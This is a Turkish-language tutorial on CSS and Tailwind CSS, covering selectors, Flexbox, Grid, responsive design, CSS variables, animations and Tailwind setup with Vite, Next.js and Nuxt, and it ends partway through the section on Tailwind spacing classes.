Skip to content

CSS & Tailwind CSS Rehberi — Temellerden İleri Seviyeye

Modern web geliştirme için CSS ve Tailwind CSS rehberi — layout, responsive design, animasyonlar ve component örnekleri.

📌 Ne Zaman Kullanilir?

  • ✅ Her web projesi — stil ve layout için zorunlu
  • ⚠️ Büyük projelerde CSS yönetimi karmasiklasabilir (Tailwind/Modules çözüm)
  • ❌ —

Önerilen Kullanım: Tailwind CSS (utility-first) + modern CSS Alternatifler: Bootstrap, Styled Components (CSS-in-JS), Sass/SCSS


1) CSS Temelleri

Selectors

CSS selector'leri HTML elementlerini hedeflemek için kullanilir.

Element Selector

css
/* Tum <p> elementlerini hedefler */
p {
  color: #333;
  line-height: 1.6;
}

/* Tum <h1> elementlerini hedefler */
h1 {
  font-size: 2rem;
  font-weight: 700;
}

Class Selector

css
/* .card class'ina sahip tum elementler */
.card {
  background: white;
  border-radius: 8px;
  padding: 16px;
  box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1);
}

/* Birden fazla class */
.card.featured {
  border: 2px solid #3b82f6;
}

ID Selector

css
/* #header id'sine sahip element (sayfada tekil olmali) */
#header {
  position: sticky;
  top: 0;
  z-index: 100;
}

Attribute Selector

css
/* type="email" olan input'lar */
input[type="email"] {
  border: 1px solid #d1d5db;
  padding: 8px 12px;
}

/* href'i https ile baslayan linkler */
a[href^="https"] {
  color: green;
}

/* href'i .pdf ile biten linkler */
a[href$=".pdf"] {
  color: red;
}

/* class icinde "btn" gecen elementler */
[class*="btn"] {
  cursor: pointer;
}

Pseudo-class Selector

css
/* Fare uzerindeyken */
a:hover {
  color: #2563eb;
  text-decoration: underline;
}

/* Tiklandiginda / focus oldugunda */
input:focus {
  outline: 2px solid #3b82f6;
  outline-offset: 2px;
}

/* Ilk cocuk element */
li:first-child {
  font-weight: bold;
}

/* Son cocuk element */
li:last-child {
  border-bottom: none;
}

/* Cift satirlar */
tr:nth-child(even) {
  background: #f9fafb;
}

/* Tek satirlar */
tr:nth-child(odd) {
  background: white;
}

/* Disabled input */
input:disabled {
  opacity: 0.5;
  cursor: not-allowed;
}

/* Bos element */
p:empty {
  display: none;
}

/* Olumsuzlama — .special olmayan tum p'ler */
p:not(.special) {
  color: #6b7280;
}

Pseudo-element Selector

css
/* Elementin oncesine icerik ekle */
.required::before {
  content: "* ";
  color: red;
}

/* Elementin sonrasina icerik ekle */
.external-link::after {
  content: " ↗";
  font-size: 0.8em;
}

/* Ilk satiri stillendir */
p::first-line {
  font-weight: bold;
}

/* Ilk harfi stillendir (drop cap) */
p::first-letter {
  font-size: 2em;
  float: left;
  margin-right: 4px;
}

/* Secili metni stillendir */
::selection {
  background: #3b82f6;
  color: white;
}

/* Placeholder stili */
input::placeholder {
  color: #9ca3af;
  font-style: italic;
}

Combinator Selector

css
/* Descendant — nav icindeki tum a'lar (her seviye) */
nav a {
  text-decoration: none;
}

/* Child — sadece direkt cocuk li'ler */
ul > li {
  list-style: disc;
}

/* Adjacent sibling — h2'den hemen sonraki p */
h2 + p {
  margin-top: 0;
  font-size: 1.1rem;
}

/* General sibling — h2'den sonraki tum p'ler */
h2 ~ p {
  color: #374151;
}

Specificity (Ozgunluk)

CSS'de hangi kuralın gecerli olacagini belirleyen oncelik sistemi.

Hesaplama sirasi (yuksekten dusuge):

OncelikTurÖrnekPuan
1!importantcolor: red !importantHer seyi ezer
2Inline stylestyle="color: red"1,0,0,0
3ID selector#header0,1,0,0
4Class, pseudo-class, attribute.card, :hover, [type]0,0,1,0
5Element, pseudo-elementdiv, ::before0,0,0,1
6Universal*0,0,0,0
css
/* Specificity ornekleri */

/* 0,0,0,1 */
p { color: black; }

/* 0,0,1,0 */
.text { color: blue; }

/* 0,0,1,1 */
p.text { color: green; }

/* 0,1,0,0 */
#main { color: red; }

/* 0,1,1,1 — ID + class + element */
#main p.text { color: purple; }

/* !important — kullanmaktan kacinin */
.text { color: orange !important; } /* Her seyi ezer (anti-pattern) */

Altin kural: !important kullanmak yerine specificity'yi doğru yonetin. !important yalnizca 3rd-party CSS'i override etmeniz gerektiginde dusunun.


Box Model

Her HTML elementi bir "kutu" olarak render edilir.

+--------------------------------------------+
|              margin                        |
|  +--------------------------------------+  |
|  |            border                    |  |
|  |  +--------------------------------+  |  |
|  |  |          padding               |  |  |
|  |  |  +--------------------------+  |  |  |
|  |  |  |        content           |  |  |  |
|  |  |  |   (width x height)      |  |  |  |
|  |  |  +--------------------------+  |  |  |
|  |  +--------------------------------+  |  |
|  +--------------------------------------+  |
+--------------------------------------------+
css
/* Varsayilan: content-box — width sadece content'i kapsar */
.box-content {
  width: 300px;
  padding: 20px;
  border: 2px solid black;
  /* Gercek genislik: 300 + 20*2 + 2*2 = 344px */
}

/* border-box — width padding ve border'i da kapsar */
.box-border {
  box-sizing: border-box;
  width: 300px;
  padding: 20px;
  border: 2px solid black;
  /* Gercek genislik: 300px (content otomatik kuculur) */
}

/* Global reset — her projede kullanin */
*, *::before, *::after {
  box-sizing: border-box;
}

/* Margin collapse — dikey margin'ler birlesir */
.paragraph-1 {
  margin-bottom: 20px;
}
.paragraph-2 {
  margin-top: 30px;
}
/* Aralarindaki bosluk 30px olur, 50px degil (buyuk olan kazanir) */

Display

css
/* block — tam genislik kaplar, alt satira gecer */
div { display: block; }

/* inline — icerik kadar yer kaplar, width/height etkisiz */
span { display: inline; }

/* inline-block — inline gibi akar ama width/height alabilir */
.badge {
  display: inline-block;
  padding: 4px 8px;
  background: #e5e7eb;
  border-radius: 4px;
}

/* none — DOM'da var ama render edilmez */
.hidden { display: none; }

/* flex ve grid asagida detayli anlatilacak */
.flex-container { display: flex; }
.grid-container { display: grid; }

Position

css
/* static (varsayilan) — normal akista */
.static {
  position: static;
  /* top/right/bottom/left etkisiz */
}

/* relative — normal konumuna gore kaydirilir */
.relative {
  position: relative;
  top: 10px;   /* 10px asagi kayar */
  left: 20px;  /* 20px saga kayar */
  /* Orijinal yeri bos kalir, diger elementler etkilenmez */
}

/* absolute — en yakin positioned ataya gore konumlanir */
.parent {
  position: relative; /* Ata olarak referans noktasi */
}
.absolute {
  position: absolute;
  top: 0;
  right: 0;
  /* Parent'in sag ust kosesine yapisir */
}

/* fixed — viewport'a gore sabitlenir (scroll ile hareket etmez) */
.fixed-header {
  position: fixed;
  top: 0;
  left: 0;
  right: 0;
  z-index: 50;
  background: white;
  box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1);
}

/* sticky — scroll threshold'una kadar relative, sonra fixed */
.sticky-nav {
  position: sticky;
  top: 0;          /* Bu noktaya geldiginde yapisir */
  background: white;
  z-index: 40;
}

Pratik: Absolute ile overlay oluşturma:

css
.card {
  position: relative;
}

.card-overlay {
  position: absolute;
  top: 0;
  left: 0;
  right: 0;
  bottom: 0;
  background: rgba(0, 0, 0, 0.5);
  display: flex;
  align-items: center;
  justify-content: center;
  opacity: 0;
  transition: opacity 0.3s;
}

.card:hover .card-overlay {
  opacity: 1;
}

2) Flexbox

Tek boyutlu layout sistemi — satir VEYA sutun yonunde elementleri hizalar.

Container Ozellikleri

ÖzellikDegerlerAçıklama
displayflex, inline-flexFlex container olusturur
flex-directionrow, row-reverse, column, column-reverseAna eksen yonu
justify-contentflex-start, flex-end, center, space-between, space-around, space-evenlyAna eksende hizalama
align-itemsflex-start, flex-end, center, stretch, baselineCapraz eksende hizalama
flex-wrapnowrap, wrap, wrap-reverseSatirlara bolme
gap10px, 1remElementler arasi bosluk
align-contentflex-start, flex-end, center, stretch, space-between, space-aroundÇoklu satir hizalama
css
.flex-container {
  display: flex;
  flex-direction: row;
  justify-content: space-between;
  align-items: center;
  flex-wrap: wrap;
  gap: 16px;
}

Item Ozellikleri

ÖzellikVarsayilanAçıklama
flex-grow0Bos alani paylasma orani
flex-shrink1Kuculme orani
flex-basisautoBaslangic boyutu
flex0 1 autoShorthand (grow shrink basis)
align-selfautoKendine ozel capraz hizalama
order0Gosterim sirasi
css
/* flex shorthand ornekleri */
.item-fixed  { flex: 0 0 200px; }  /* Sabit 200px, buyumez kuculemez */
.item-grow   { flex: 1; }          /* Kalan alani doldurur (1 0 0) */
.item-equal  { flex: 1 1 0; }      /* Esit dagilim */
.item-double { flex: 2; }          /* Diger flex:1'lerin 2 kati yer kaplar */

Pratik Layout Ornekleri

css
.navbar {
  display: flex;
  justify-content: space-between;
  align-items: center;
  padding: 0 24px;
  height: 64px;
  background: white;
  box-shadow: 0 1px 3px rgba(0, 0, 0, 0.1);
}

.navbar-logo {
  font-size: 1.5rem;
  font-weight: 700;
  color: #1f2937;
}

.navbar-menu {
  display: flex;
  gap: 24px;
  list-style: none;
  margin: 0;
  padding: 0;
}

.navbar-menu a {
  text-decoration: none;
  color: #4b5563;
  font-weight: 500;
  transition: color 0.2s;
}

.navbar-menu a:hover {
  color: #3b82f6;
}
html
<nav class="navbar">
  <div class="navbar-logo">Logo</div>
  <ul class="navbar-menu">
    <li><a href="#">Anasayfa</a></li>
    <li><a href="#">Hakkinda</a></li>
    <li><a href="#">Iletisim</a></li>
  </ul>
</nav>

Card Grid (Wrap ile)

css
.card-grid {
  display: flex;
  flex-wrap: wrap;
  gap: 20px;
}

.card {
  flex: 1 1 300px; /* Minimum 300px, esnek buyume */
  background: white;
  border-radius: 12px;
  padding: 24px;
  box-shadow: 0 1px 3px rgba(0, 0, 0, 0.1);
}

Centering (Yatay ve Dikey)

css
/* Yontem 1: Flex ile tam ortalama */
.center-flex {
  display: flex;
  justify-content: center;
  align-items: center;
  min-height: 100vh;
}

/* Yontem 2: place-items shorthand (Grid ile daha kisa) */
.center-grid {
  display: grid;
  place-items: center;
  min-height: 100vh;
}

/* Yontem 3: margin auto (flex item icinde) */
.flex-parent {
  display: flex;
  min-height: 100vh;
}
.centered-child {
  margin: auto;
}
css
/* Footer her zaman sayfanin en altinda */
body {
  margin: 0;
  min-height: 100vh;
  display: flex;
  flex-direction: column;
}

main {
  flex: 1; /* Kalan tum alani doldurur */
}

footer {
  padding: 24px;
  background: #1f2937;
  color: white;
}
html
<body>
  <header>Header</header>
  <main>Icerik — az bile olsa footer altta kalir</main>
  <footer>Footer</footer>
</body>

3) CSS Grid

Iki boyutlu layout sistemi — satirlar VE sutunlar ayni anda kontrol edilir.

Container Ozellikleri

css
.grid-container {
  display: grid;

  /* Sutun tanimlama */
  grid-template-columns: 200px 1fr 1fr;        /* 3 sutun */
  grid-template-columns: repeat(3, 1fr);        /* 3 esit sutun */
  grid-template-columns: 250px 1fr;             /* Sidebar + content */

  /* Satir tanimlama */
  grid-template-rows: 60px 1fr auto;            /* Header, content, footer */

  /* Bosluk */
  gap: 16px;                /* Satir ve sutun boslugu */
  row-gap: 20px;            /* Sadece satir boslugu */
  column-gap: 16px;         /* Sadece sutun boslugu */
}

grid-template-areas

css
.layout {
  display: grid;
  grid-template-columns: 250px 1fr;
  grid-template-rows: 60px 1fr 40px;
  grid-template-areas:
    "header  header"
    "sidebar content"
    "footer  footer";
  min-height: 100vh;
}

.header  { grid-area: header; }
.sidebar { grid-area: sidebar; }
.content { grid-area: content; }
.footer  { grid-area: footer; }

Item Ozellikleri

css
/* grid-column: baslangic / bitis */
.wide-item {
  grid-column: 1 / 3;      /* 1. sutundan 3. cizgiye kadar (2 sutun kaplar) */
}

.full-width {
  grid-column: 1 / -1;     /* Tum sutunlari kaplar */
}

/* grid-row: baslangic / bitis */
.tall-item {
  grid-row: 1 / 3;         /* 2 satir kaplar */
}

/* span kullanimi */
.span-two {
  grid-column: span 2;     /* 2 sutun kaplar (baslangic noktasi otomatik) */
  grid-row: span 3;        /* 3 satir kaplar */
}

auto-fill vs auto-fit

css
/* auto-fill: Mumkun oldugu kadar sutun olusturur, bos olanlar yer kaplar */
.grid-auto-fill {
  grid-template-columns: repeat(auto-fill, minmax(250px, 1fr));
}

/* auto-fit: Mumkun oldugu kadar sutun olusturur, bos olanlar COLLAPSE olur */
.grid-auto-fit {
  grid-template-columns: repeat(auto-fit, minmax(250px, 1fr));
}

/* Fark: 
   - 3 item, genis ekran:
   - auto-fill: [item] [item] [item] [bos] [bos]
   - auto-fit:  [  item  ] [  item  ] [  item  ]  (genisleme olur)
*/

repeat(), minmax(), fr unit

css
/* fr (fraction) — kalan alani oranla paylasirir */
.fr-example {
  grid-template-columns: 1fr 2fr 1fr;
  /* 1. sutun: %25, 2. sutun: %50, 3. sutun: %25 */
}

/* minmax — minimum ve maksimum boyut */
.minmax-example {
  grid-template-columns: minmax(200px, 300px) 1fr;
  /* 1. sutun: 200-300px arasi, 2. sutun: kalan */
}

/* repeat — tekrarlama */
.repeat-example {
  grid-template-columns: repeat(4, 1fr);          /* 4 esit sutun */
  grid-template-columns: repeat(3, 100px 200px);  /* 100 200 100 200 100 200 */
}

Pratik Layout Ornekleri

Dashboard Layout (Sidebar + Header + Content)

css
.dashboard {
  display: grid;
  grid-template-columns: 260px 1fr;
  grid-template-rows: 64px 1fr;
  grid-template-areas:
    "sidebar header"
    "sidebar content";
  min-height: 100vh;
}

.dashboard-sidebar {
  grid-area: sidebar;
  background: #1e293b;
  color: white;
  padding: 20px;
}

.dashboard-header {
  grid-area: header;
  background: white;
  border-bottom: 1px solid #e5e7eb;
  display: flex;
  align-items: center;
  padding: 0 24px;
}

.dashboard-content {
  grid-area: content;
  padding: 24px;
  background: #f8fafc;
  overflow-y: auto;
}

Holy Grail Layout

css
.holy-grail {
  display: grid;
  grid-template-columns: 200px 1fr 200px;
  grid-template-rows: auto 1fr auto;
  grid-template-areas:
    "header header  header"
    "left   main    right"
    "footer footer  footer";
  min-height: 100vh;
  gap: 0;
}

.hg-header { grid-area: header; background: #1f2937; color: white; padding: 16px; }
.hg-left   { grid-area: left;   background: #f3f4f6; padding: 16px; }
.hg-main   { grid-area: main;   padding: 24px; }
.hg-right  { grid-area: right;  background: #f3f4f6; padding: 16px; }
.hg-footer { grid-area: footer; background: #1f2937; color: white; padding: 16px; }

/* Mobilde tek sutun */
@media (max-width: 768px) {
  .holy-grail {
    grid-template-columns: 1fr;
    grid-template-areas:
      "header"
      "main"
      "left"
      "right"
      "footer";
  }
}

Responsive Card Grid (auto-fill + minmax)

css
.responsive-cards {
  display: grid;
  grid-template-columns: repeat(auto-fill, minmax(280px, 1fr));
  gap: 24px;
  padding: 24px;
}

.card {
  background: white;
  border-radius: 12px;
  overflow: hidden;
  box-shadow: 0 1px 3px rgba(0, 0, 0, 0.1);
  transition: box-shadow 0.2s, transform 0.2s;
}

.card:hover {
  box-shadow: 0 10px 25px rgba(0, 0, 0, 0.15);
  transform: translateY(-2px);
}

.card-image {
  width: 100%;
  height: 200px;
  object-fit: cover;
}

.card-body {
  padding: 20px;
}

4) Responsive Design

Media Queries

css
/* min-width (Mobile-first yaklasim — onerilen) */
/* Temel stiller mobil icin */
.container {
  padding: 16px;
}

/* 640px ve ustu (tablet) */
@media (min-width: 640px) {
  .container {
    padding: 24px;
    max-width: 640px;
    margin: 0 auto;
  }
}

/* 1024px ve ustu (desktop) */
@media (min-width: 1024px) {
  .container {
    max-width: 1024px;
    padding: 32px;
  }
}

/* max-width (Desktop-first yaklasim) */
@media (max-width: 768px) {
  .sidebar {
    display: none;
  }
}

/* Kombine: sadece tablet arasi */
@media (min-width: 640px) and (max-width: 1023px) {
  .tablet-only {
    display: block;
  }
}

/* Orientation */
@media (orientation: landscape) {
  .hero {
    min-height: 60vh;
  }
}

/* Print */
@media print {
  .no-print {
    display: none;
  }
  body {
    font-size: 12pt;
    color: black;
  }
}

Mobile-First Yaklasim

Neden mobile-first?

  • Mobil kullanicilar cogunlukta
  • Performans: mobil için gereksiz CSS yuklenmez
  • Daha temiz ve surekli genislenen yaklasim
css
/* DOGRU: Mobile-first */
.grid {
  display: grid;
  grid-template-columns: 1fr;           /* Mobil: tek sutun */
  gap: 16px;
}

@media (min-width: 640px) {
  .grid {
    grid-template-columns: repeat(2, 1fr);  /* Tablet: 2 sutun */
  }
}

@media (min-width: 1024px) {
  .grid {
    grid-template-columns: repeat(3, 1fr);  /* Desktop: 3 sutun */
    gap: 24px;
  }
}

/* YANLIS: Desktop-first (cok fazla override gerekir) */
.grid-wrong {
  grid-template-columns: repeat(3, 1fr);
}
@media (max-width: 1023px) {
  .grid-wrong { grid-template-columns: repeat(2, 1fr); }
}
@media (max-width: 639px) {
  .grid-wrong { grid-template-columns: 1fr; }
}

Breakpoint Stratejisi

BreakpointGenislikHedef CihazTailwind Prefix
Varsayilan0px+Mobil telefon(prefix yok)
sm640px+Büyük telefon / küçük tabletsm:
md768px+Tabletmd:
lg1024px+Laptop / küçük desktoplg:
xl1280px+Desktopxl:
2xl1536px+Genis ekran2xl:

Responsive Units

css
/* % — parent'a gore oransal */
.half-width {
  width: 50%;
}

/* vw/vh — viewport'a gore */
.hero {
  height: 100vh;          /* Tam ekran yukseklik */
  width: 100vw;           /* Tam ekran genislik */
}

/* rem — root font-size'a gore (genelde 16px) */
.text {
  font-size: 1rem;        /* 16px */
  padding: 1.5rem;        /* 24px */
  margin-bottom: 2rem;    /* 32px */
}

/* em — parent font-size'a gore */
.parent {
  font-size: 18px;
}
.child {
  padding: 1em;           /* 18px */
  margin: 0.5em;          /* 9px */
}

/* clamp() — minimum, tercih edilen, maksimum */
.responsive-text {
  /* En az 1rem, tercihen 2.5vw, en fazla 2rem */
  font-size: clamp(1rem, 2.5vw, 2rem);
}

.responsive-container {
  /* En az 300px, tercihen %90, en fazla 1200px */
  width: clamp(300px, 90%, 1200px);
  margin: 0 auto;
}

/* min() ve max() */
.sidebar {
  width: min(300px, 30%);    /* 300px ve %30'un kucuk olani */
}

.main-content {
  width: max(600px, 60%);    /* 600px ve %60'in buyuk olani */
}

Container Queries

Elementin viewport yerine parent container boyutuna gore stillendirilmesi.

css
/* Container tanimlama */
.card-wrapper {
  container-type: inline-size;
  container-name: card;
}

/* Container query */
@container card (min-width: 400px) {
  .card-content {
    display: flex;
    gap: 16px;
  }
  .card-image {
    width: 40%;
  }
}

@container card (min-width: 600px) {
  .card-title {
    font-size: 1.5rem;
  }
}

/* Shorthand */
.wrapper {
  container: sidebar / inline-size;
}

5) CSS Variables (Custom Properties)

Tanimlama ve Kullanım

css
/* :root'ta global degiskenler tanimla */
:root {
  /* Renkler */
  --color-primary: #3b82f6;
  --color-primary-dark: #2563eb;
  --color-secondary: #8b5cf6;
  --color-success: #10b981;
  --color-warning: #f59e0b;
  --color-danger: #ef4444;
  --color-gray-50: #f9fafb;
  --color-gray-100: #f3f4f6;
  --color-gray-200: #e5e7eb;
  --color-gray-500: #6b7280;
  --color-gray-700: #374151;
  --color-gray-900: #111827;

  /* Tipografi */
  --font-sans: 'Inter', system-ui, -apple-system, sans-serif;
  --font-mono: 'JetBrains Mono', monospace;

  /* Spacing */
  --space-xs: 4px;
  --space-sm: 8px;
  --space-md: 16px;
  --space-lg: 24px;
  --space-xl: 32px;
  --space-2xl: 48px;

  /* Border */
  --radius-sm: 4px;
  --radius-md: 8px;
  --radius-lg: 12px;
  --radius-full: 9999px;

  /* Shadow */
  --shadow-sm: 0 1px 2px rgba(0, 0, 0, 0.05);
  --shadow-md: 0 4px 6px rgba(0, 0, 0, 0.1);
  --shadow-lg: 0 10px 25px rgba(0, 0, 0, 0.15);

  /* Transition */
  --transition-fast: 150ms ease;
  --transition-normal: 300ms ease;
}

/* Kullanim */
.button {
  background: var(--color-primary);
  color: white;
  padding: var(--space-sm) var(--space-md);
  border-radius: var(--radius-md);
  font-family: var(--font-sans);
  transition: background var(--transition-fast);
  border: none;
  cursor: pointer;
}

.button:hover {
  background: var(--color-primary-dark);
}

/* Fallback degeri */
.text {
  color: var(--color-custom, #333); /* Tanimli degilse #333 kullanilir */
}

Tema Sistemi (Dark / Light Mode)

css
/* Light mode (varsayilan) */
:root {
  --bg-primary: #ffffff;
  --bg-secondary: #f9fafb;
  --text-primary: #111827;
  --text-secondary: #6b7280;
  --border-color: #e5e7eb;
  --card-bg: #ffffff;
  --card-shadow: 0 1px 3px rgba(0, 0, 0, 0.1);
}

/* Dark mode — media query ile */
@media (prefers-color-scheme: dark) {
  :root {
    --bg-primary: #111827;
    --bg-secondary: #1f2937;
    --text-primary: #f9fafb;
    --text-secondary: #9ca3af;
    --border-color: #374151;
    --card-bg: #1f2937;
    --card-shadow: 0 1px 3px rgba(0, 0, 0, 0.4);
  }
}

/* Dark mode — class-based toggle (onerilen) */
.dark {
  --bg-primary: #111827;
  --bg-secondary: #1f2937;
  --text-primary: #f9fafb;
  --text-secondary: #9ca3af;
  --border-color: #374151;
  --card-bg: #1f2937;
  --card-shadow: 0 1px 3px rgba(0, 0, 0, 0.4);
}

/* Uygulama */
body {
  background: var(--bg-primary);
  color: var(--text-primary);
  transition: background 0.3s, color 0.3s;
}

.card {
  background: var(--card-bg);
  border: 1px solid var(--border-color);
  box-shadow: var(--card-shadow);
  border-radius: var(--radius-lg);
  padding: var(--space-lg);
}

.text-muted {
  color: var(--text-secondary);
}

JavaScript ile toggle:

js
// Dark mode toggle
const toggleBtn = document.getElementById('theme-toggle');

toggleBtn.addEventListener('click', () => {
  document.documentElement.classList.toggle('dark');

  // Tercihi localStorage'a kaydet
  const isDark = document.documentElement.classList.contains('dark');
  localStorage.setItem('theme', isDark ? 'dark' : 'light');
});

// Sayfa yuklenirken tercihi uygula
const savedTheme = localStorage.getItem('theme');
if (savedTheme === 'dark' || 
    (!savedTheme && window.matchMedia('(prefers-color-scheme: dark)').matches)) {
  document.documentElement.classList.add('dark');
}

6) Animations & Transitions

Transition

css
/* Temel transition */
.button {
  background: #3b82f6;
  color: white;
  padding: 8px 16px;
  border-radius: 8px;
  transition: all 0.3s ease;
}

.button:hover {
  background: #2563eb;
  transform: translateY(-1px);
  box-shadow: 0 4px 12px rgba(59, 130, 246, 0.4);
}

/* Birden fazla property */
.card {
  transition: transform 0.2s ease, box-shadow 0.2s ease;
}

.card:hover {
  transform: translateY(-4px);
  box-shadow: 0 12px 24px rgba(0, 0, 0, 0.15);
}

/* Tekil tanimlama */
.element {
  transition-property: background, color, transform;
  transition-duration: 0.3s, 0.3s, 0.2s;
  transition-timing-function: ease, ease, ease-out;
  transition-delay: 0s, 0s, 0.1s;
}

Timing Functions

css
.ease        { transition-timing-function: ease; }          /* Yavas basla, hizlan, yavas bitir */
.ease-in     { transition-timing-function: ease-in; }       /* Yavas basla */
.ease-out    { transition-timing-function: ease-out; }      /* Yavas bitir */
.ease-in-out { transition-timing-function: ease-in-out; }   /* Yavas basla ve bitir */
.linear      { transition-timing-function: linear; }        /* Sabit hiz */

/* Cubic bezier — ozel timing */
.bounce {
  transition-timing-function: cubic-bezier(0.68, -0.55, 0.265, 1.55);
}

.smooth {
  transition-timing-function: cubic-bezier(0.4, 0, 0.2, 1);
}

@keyframes ve animation

css
/* Fade in animasyonu */
@keyframes fadeIn {
  from {
    opacity: 0;
    transform: translateY(20px);
  }
  to {
    opacity: 1;
    transform: translateY(0);
  }
}

.fade-in {
  animation: fadeIn 0.5s ease forwards;
}

/* Spin animasyonu (loading) */
@keyframes spin {
  from { transform: rotate(0deg); }
  to { transform: rotate(360deg); }
}

.spinner {
  width: 24px;
  height: 24px;
  border: 3px solid #e5e7eb;
  border-top-color: #3b82f6;
  border-radius: 50%;
  animation: spin 0.8s linear infinite;
}

/* Pulse animasyonu */
@keyframes pulse {
  0%, 100% { opacity: 1; }
  50% { opacity: 0.5; }
}

.skeleton {
  background: #e5e7eb;
  animation: pulse 2s ease-in-out infinite;
  border-radius: 4px;
}

/* Slide in animasyonu */
@keyframes slideInRight {
  from {
    transform: translateX(100%);
    opacity: 0;
  }
  to {
    transform: translateX(0);
    opacity: 1;
  }
}

.slide-in {
  animation: slideInRight 0.4s ease-out;
}

/* Bounce animasyonu */
@keyframes bounce {
  0%, 20%, 50%, 80%, 100% { transform: translateY(0); }
  40% { transform: translateY(-20px); }
  60% { transform: translateY(-10px); }
}

.bounce {
  animation: bounce 1s ease infinite;
}

/* Animation shorthand */
.animated {
  animation: fadeIn 0.5s ease 0.2s 1 normal forwards;
  /*         name  dur  timing delay count dir  fill */
}

/* Animation ozellikleri ayri ayri */
.detailed-animation {
  animation-name: fadeIn;
  animation-duration: 0.5s;
  animation-timing-function: ease;
  animation-delay: 0.2s;
  animation-iteration-count: 1;        /* infinite, 3, vb. */
  animation-direction: normal;          /* reverse, alternate */
  animation-fill-mode: forwards;        /* backwards, both */
  animation-play-state: running;        /* paused */
}

Transform

css
/* translate — konum kaydirma */
.translate {
  transform: translateX(20px);          /* Yatay */
  transform: translateY(-10px);         /* Dikey */
  transform: translate(20px, -10px);    /* Her iki eksen */
}

/* rotate — dondurme */
.rotate {
  transform: rotate(45deg);             /* Saat yonu */
  transform: rotate(-90deg);            /* Saat yonunun tersi */
}

/* scale — olcekleme */
.scale {
  transform: scale(1.1);               /* %110 buyutme */
  transform: scaleX(0.5);              /* Yatay %50 */
  transform: scale(2, 0.5);            /* X: 2x, Y: 0.5x */
}

/* skew — egme */
.skew {
  transform: skewX(10deg);
  transform: skewY(-5deg);
  transform: skew(10deg, -5deg);
}

/* Kombine transform */
.combined {
  transform: translateX(20px) rotate(45deg) scale(1.2);
  /* Sira onemli — sagdan sola uygulanir */
}

/* transform-origin */
.origin {
  transform-origin: center center;     /* Varsayilan */
  transform-origin: top left;          /* Sol ust koseden */
  transform-origin: 50% 100%;          /* Alt ortadan */
}

Performans

css
/* GPU accelerated — performansli (sadece composite layer) */
.performant {
  transform: translateZ(0);     /* GPU layer olusturur */
  will-change: transform;       /* Tarayiciya ipucu */
}

/* IYI — sadece transform ve opacity animate edin */
.good-animation {
  transition: transform 0.3s, opacity 0.3s;
}

/* KOTU — layout/paint trigger'lari (yavas) */
.bad-animation {
  transition: width 0.3s, height 0.3s, top 0.3s, left 0.3s;
  /* Bu ozellikler layout recalculation tetikler */
}

/* will-change — dikkatli kullanin */
.will-animate {
  will-change: transform, opacity;
  /* Animasyon bitince kaldirin — gereksiz GPU bellek kullanimi */
}

/* contain — rendering optimizasyonu */
.isolated {
  contain: layout style paint;
  /* Bu elementin degisiklikleri diger elementleri etkilemez */
}

/* content-visibility — offscreen elementleri render etme */
.lazy-section {
  content-visibility: auto;
  contain-intrinsic-size: 0 500px; /* Tahmini boyut */
}

7) Tailwind CSS Kurulum

Vite ile Kurulum

bash
# Proje olustur
npm create vite@latest my-project -- --template react
cd my-project

# Tailwind ve bagimliliklar
npm install -D tailwindcss @tailwindcss/vite

# veya PostCSS ile
npm install -D tailwindcss postcss autoprefixer
npx tailwindcss init -p

vite.config.js (Vite plugin ile):

js
import { defineConfig } from 'vite'
import react from '@vitejs/plugin-react'
import tailwindcss from '@tailwindcss/vite'

export default defineConfig({
  plugins: [
    react(),
    tailwindcss(),
  ],
})

postcss.config.js (PostCSS ile):

js
export default {
  plugins: {
    tailwindcss: {},
    autoprefixer: {},
  },
}

tailwind.config.js:

js
/** @type {import('tailwindcss').Config} */
export default {
  content: [
    "./index.html",
    "./src/**/*.{js,ts,jsx,tsx}",
  ],
  theme: {
    extend: {},
  },
  plugins: [],
}

src/index.css:

css
@tailwind base;
@tailwind components;
@tailwind utilities;

Next.js ile Kurulum

bash
# Next.js zaten Tailwind destegi ile gelir
npx create-next-app@latest my-app
# "Would you like to use Tailwind CSS?" sorusuna Yes deyin

# Manuel kurulum
npm install -D tailwindcss postcss autoprefixer
npx tailwindcss init -p

tailwind.config.js:

js
/** @type {import('tailwindcss').Config} */
module.exports = {
  content: [
    './pages/**/*.{js,ts,jsx,tsx,mdx}',
    './components/**/*.{js,ts,jsx,tsx,mdx}',
    './app/**/*.{js,ts,jsx,tsx,mdx}',
  ],
  theme: {
    extend: {},
  },
  plugins: [],
}

app/globals.css:

css
@tailwind base;
@tailwind components;
@tailwind utilities;

Vue / Nuxt ile Kurulum

bash
# Vue + Vite
npm create vite@latest my-vue-app -- --template vue
cd my-vue-app
npm install -D tailwindcss postcss autoprefixer
npx tailwindcss init -p

tailwind.config.js:

js
/** @type {import('tailwindcss').Config} */
export default {
  content: [
    "./index.html",
    "./src/**/*.{vue,js,ts,jsx,tsx}",
  ],
  theme: {
    extend: {},
  },
  plugins: [],
}
bash
# Nuxt 3
npx nuxi init my-nuxt-app
cd my-nuxt-app
npm install -D @nuxtjs/tailwindcss

nuxt.config.ts:

ts
export default defineNuxtConfig({
  modules: ['@nuxtjs/tailwindcss'],
})

tailwind.config.js Yapisi

js
/** @type {import('tailwindcss').Config} */
export default {
  // Hangi dosyalarda Tailwind class'lari taranacak
  content: [
    "./index.html",
    "./src/**/*.{js,ts,jsx,tsx,vue}",
  ],

  // Dark mode stratejisi
  darkMode: 'class', // 'media' veya 'class'

  // Tema ayarlari
  theme: {
    // Mevcut degerleri tamamen degistirmek icin
    screens: {
      sm: '640px',
      md: '768px',
      lg: '1024px',
      xl: '1280px',
      '2xl': '1536px',
    },

    // Mevcut degerlere eklemek icin
    extend: {
      colors: {
        brand: {
          50: '#eff6ff',
          500: '#3b82f6',
          900: '#1e3a8a',
        },
      },
      fontFamily: {
        sans: ['Inter', 'system-ui', 'sans-serif'],
      },
      spacing: {
        '128': '32rem',
      },
      borderRadius: {
        '4xl': '2rem',
      },
    },
  },

  // Eklentiler
  plugins: [
    require('@tailwindcss/forms'),
    require('@tailwindcss/typography'),
    require('@tailwindcss/aspect-ratio'),
  ],
}

8) Tailwind Temel Siniflar

Spacing

ClassDegerPiksel
p-0 / m-000px
p-px / m-px1px1px
p-0.5 / m-0.50.125rem2px
p-1 / m-10.25rem4px
p-2 / m-20.5rem8px
p-3 / m-30.75rem12px
p-4 / m-41rem16px
p-5 / m-51.25rem20px
p-6 / m-61.5rem24px
p-8 / m-82rem32px
p-10 / m-102.5rem40px
p-12 / m-123rem48px
